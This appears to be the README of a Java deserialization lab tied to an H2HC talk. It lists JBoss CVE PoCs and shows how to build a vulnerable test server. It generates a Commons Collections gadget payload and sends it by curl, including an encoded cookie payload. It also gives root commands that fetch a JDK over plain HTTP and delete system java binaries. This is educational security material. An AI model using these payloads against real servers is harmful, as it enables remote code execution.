JBossMQJMS 反序列化漏洞（CVE-2017-7504）漏洞利用工具

# Lab for Java Deserialization Vulnerabilities This content is related to the paper written for the 12th edition of H2HC magazine. See full paper in: https://www.h2hc.com.br/revista/ Slides and video of the talk will be available soon. >Um overview sobre as bases das falhas de desserialização nativa em ambientes Java (JVM) >An overview of deserialization vulnerabilities in the Java Virtual Machine (JVM) Content -- The lab contains code samples that help you understand deserialization vulnerabilities and how gadget chains exploit them. The goal is to provide a better understanding so that you can develop new payloads and/or better design your environments. There is also a vulnerable testing application (VulnerableHTTPServer.java), which helps you test your payloads. Slides -- [](https://www.slideshare.net/joaomatosf_/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017) Examples (PoC's) ------ * PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer (https://access.redhat.com/security/cve/cve-2017-7504) [](https://www.youtube.com/watch?v=jVMr4eeJ2Po) * PoC CVE-2017-12149 - JBoss 6.X and EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149) [](https://www.youtube.com/watch?v=JIWMItSA8l0) * PoC Exploiting struts2-rest XStream Deserialization with Reverse Shell [](https://www.youtube.com/watch?v=IrZOlqio0nw) Lab Usage Examples -- First of all you need to read the full paper. Then review the sample codes and use the vulnerable testing application to understand how payloads work. ***Getting JDK*** If you dont want to go to the Oracle page and register, you can download the JDK directly from me in: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/ As **root**, run: ``` # cd /opt # curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz # tar zxvf jdk-8u20-linux-x64.tar.gz # rm -rf /usr/bin/java* # ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin # java -version java version "1.8.0_20" ``` ***Getting codes:*** ``` $ git clone https://github.com/joaomatosf/JavaDeserH2HC.git $ cd JavaDeserH2HC ``` ***Compiling and executing Vulnerable Web Application:*** ``` $ javac VulnerableHTTPServer.java -XDignore.symbol.file $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer ``` ``` * =============================================================== * * Simple Java HTTP Server for Deserialization Lab v0.01 * * https://github.com/joaomatosf/JavaDeserH2HC * * =============================================================== * You can inject java serialized objects in the following formats: 1) Binary in HTTP POST (ie \xAC\xED). Ex: $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex: $ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..." $ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..." 3) Base64 or Gzip+Base64 in cookies. Ex: $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..." $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..." 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex: $ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg... 5) XML for XStream RCE vulnerability/serialization. Ex: $ curl 127.0.0.1:8000 -d @file.xml OBS: To test gadgets in specific libraries, run with -cp param. Ex: $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer ================================================================== JRE Version: 1.8.0_77 [INFO]: Listening on port 8000 ``` ***Testing payloads*** Compiling example1 that works in applications with commons-collections3.2.1 in the classpath and JRE < 8u72: ``` $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java ``` Generating payload: ``` $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017' Saving serialized object in ExampleCommonsCollections1.ser ``` Exploiting vulnerable server: Sending the payload in binary format via HTTP POST: ``` $ rm -rf /tmp/h2hc_2017 $ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser Data deserialized! $ ls -all /tmp/h2hc_2017 -rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017 ``` Sending the payload in Gzip+Base64 format via HTTP Cookies: ``` $ rm -rf /tmp/h2hc_2017 $ gzip ExampleCommonsCollections1.ser $ base64 -w0 ExampleCommonsCollections1.ser.gz $ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA" Data deserialized! $ ls -all /tmp/h2hc_2017 -rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017 ```
